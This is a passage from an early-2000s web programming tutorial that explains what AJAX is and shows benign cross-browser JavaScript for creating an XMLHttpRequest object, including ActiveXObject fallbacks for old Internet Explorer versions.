  3. If no matching names were found, set response to “no suggestion”
  4. If one or more matching names were found, set response to these names
  5. The response is sent to the “txtHint” placeholder

XMLHttpRequest

The XMLHttpRequest object makes AJAX possible.


The XMLHttpRequest

The XMLHttpRequest object is the key to AJAX.

It has been available ever since Internet Explorer 5.5 was released in July 2000, but not fully discovered before people started to talk about AJAX and Web 2.0 in 2005.


Creating An XMLHttpRequest Object

Different browsers use different methods to create an XMLHttpRequest object.

Internet Explorer uses an ActiveXObject.

Other browsers uses a built in JavaScript object called XMLHttpRequest.

Here is the simplest code you can use to overcome this problem:

var XMLHttp=null
if (window.XMLHttpRequest)
  {
  XMLHttp=new XMLHttpRequest()
  }
else if (window.ActiveXObject)
  {
  XMLHttp=new ActiveXObject("Microsoft.XMLHTTP")
  }

Example above explained:

  1. First create a variable XMLHttp to use as your XMLHttpRequest object. Set the value to null.
  2. Then test if the object window.XMLHttpRequest is available. This object is available in newer versions of Firefox, Mozilla, Opera, and Safari.
  3. If it’s available, use it to create a new object: XMLHttp=new XMLHttpRequest()
  4. If it’s not available, test if an object window.ActiveXObject is available. This object is available in Internet Explorer version 5.5 and later.
  5. If it is available, use it to create a new object: XMLHttp=new ActiveXObject()

A Better Example?

Some programmers will prefer to use the newest and fastest version of the XMLHttpRequest object.

The example below tries to load Microsoft’s latest version “Msxml2.XMLHTTP”, available in Internet Explorer 6, before it falls back to “Microsoft.XMLHTTP”, available in Internet Explorer 5.5 and later.

function GetXmlHttpObject()
{
var xmlHttp=null;
try
 {
 // Firefox, Opera 8.0+, Safari
 xmlHttp=new XMLHttpRequest();
 }
catch (e)
 {
 // Internet Explorer
 try
  {
  xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
  }
 catch (e)
  {
  xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
 }
return xmlHttp;
}

Example above explained:

  1. First create a variable XMLHttp to use as your XMLHttpRequest object. Set the value to null.
  2. Try to create the object the according to web standards (Mozilla, Opera and Safari):XMLHttp=new XMLHttpRequest()
  3. Try to create the object the Microsoft way, available in Internet Explorer 6 and later:XMLHttp=new ActiveXObject(”Msxml2.XMLHTTP”)
  4. If this catches an error, try the older (Internet Explorer 5.5) way: XMLHttp=new ActiveXObject(”Microsoft.XMLHTTP”)

AJAX

AJAX = Asynchronous JavaScript And XML

AJAX is an acronym for Asynchronous JavaScript And XML.

AJAX is not a new programming language, but simply a new technique for creating better, faster, and more interactive web applications.

AJAX uses JavaScript to send and receive data between a web browser and a web server.

The AJAX technique makes web pages more responsive by exchanging data with the web server behind the scenes, instead of reloading an entire web page each time a user makes a change.


AJAX Is Based On Open Standards

AJAX is based on the following open standards:

  • JavaScript
  • XML
  • HTML
  • CSS

The open standards used in AJAX are well defined, and supported by all major browsers. AJAX applications are browser and platform independent. (Cross-Platform, Cross-Browser technology)


AJAX Is About Better Internet Applications

Web applications have many benefits over desktop applications:

  • they can reach a larger audience
  • they are easier to install and support
  • they are easier to develop

However, Internet applications are not always as “rich” and user-friendly as traditional desktop applications.

With AJAX, Internet applications can be made richer (smaller, faster, and easier to use).


You Can Start Using AJAX Today

There is nothing new to learn.

AJAX is based on open standards. These standards have been used by most developers for several years.

Most existing web applications can be rewritten to use AJAX technology instead of traditional HTML forms.


AJAX Uses XML And HTTP Requests

A traditional web application will submit input (using an HTML form) to a web server. After the web server has processed the data, it will return a completely new web page to the user.

Because the server returns a new web page each time the user submits input, traditional web applications often run slowly and tend to be less user friendly.

With AJAX, web applications can send and retrieve data without reloading the whole web page. This is done by sending HTTP requests to the server (behind the scenes), and by modifying only parts of the web page using JavaScript when the server returns data.

XML is commonly used as the format for receiving server data, although any format, including plain text, can be used.

You will learn more about how this is done in the next chapters of this tutorial.


PHP and AJAX

There is no such thing as an AJAX server.

AJAX is a technology that runs in your browser. It uses asynchronous data transfer (HTTP requests) between the browser and the web server, allowing web pages to request small bits of information from the server instead of whole pages.

AJAX is a web browser technology independent of web server software.

However, in this tutorial we will focus more on actual examples running on a PHP server, and less on how AJAX works.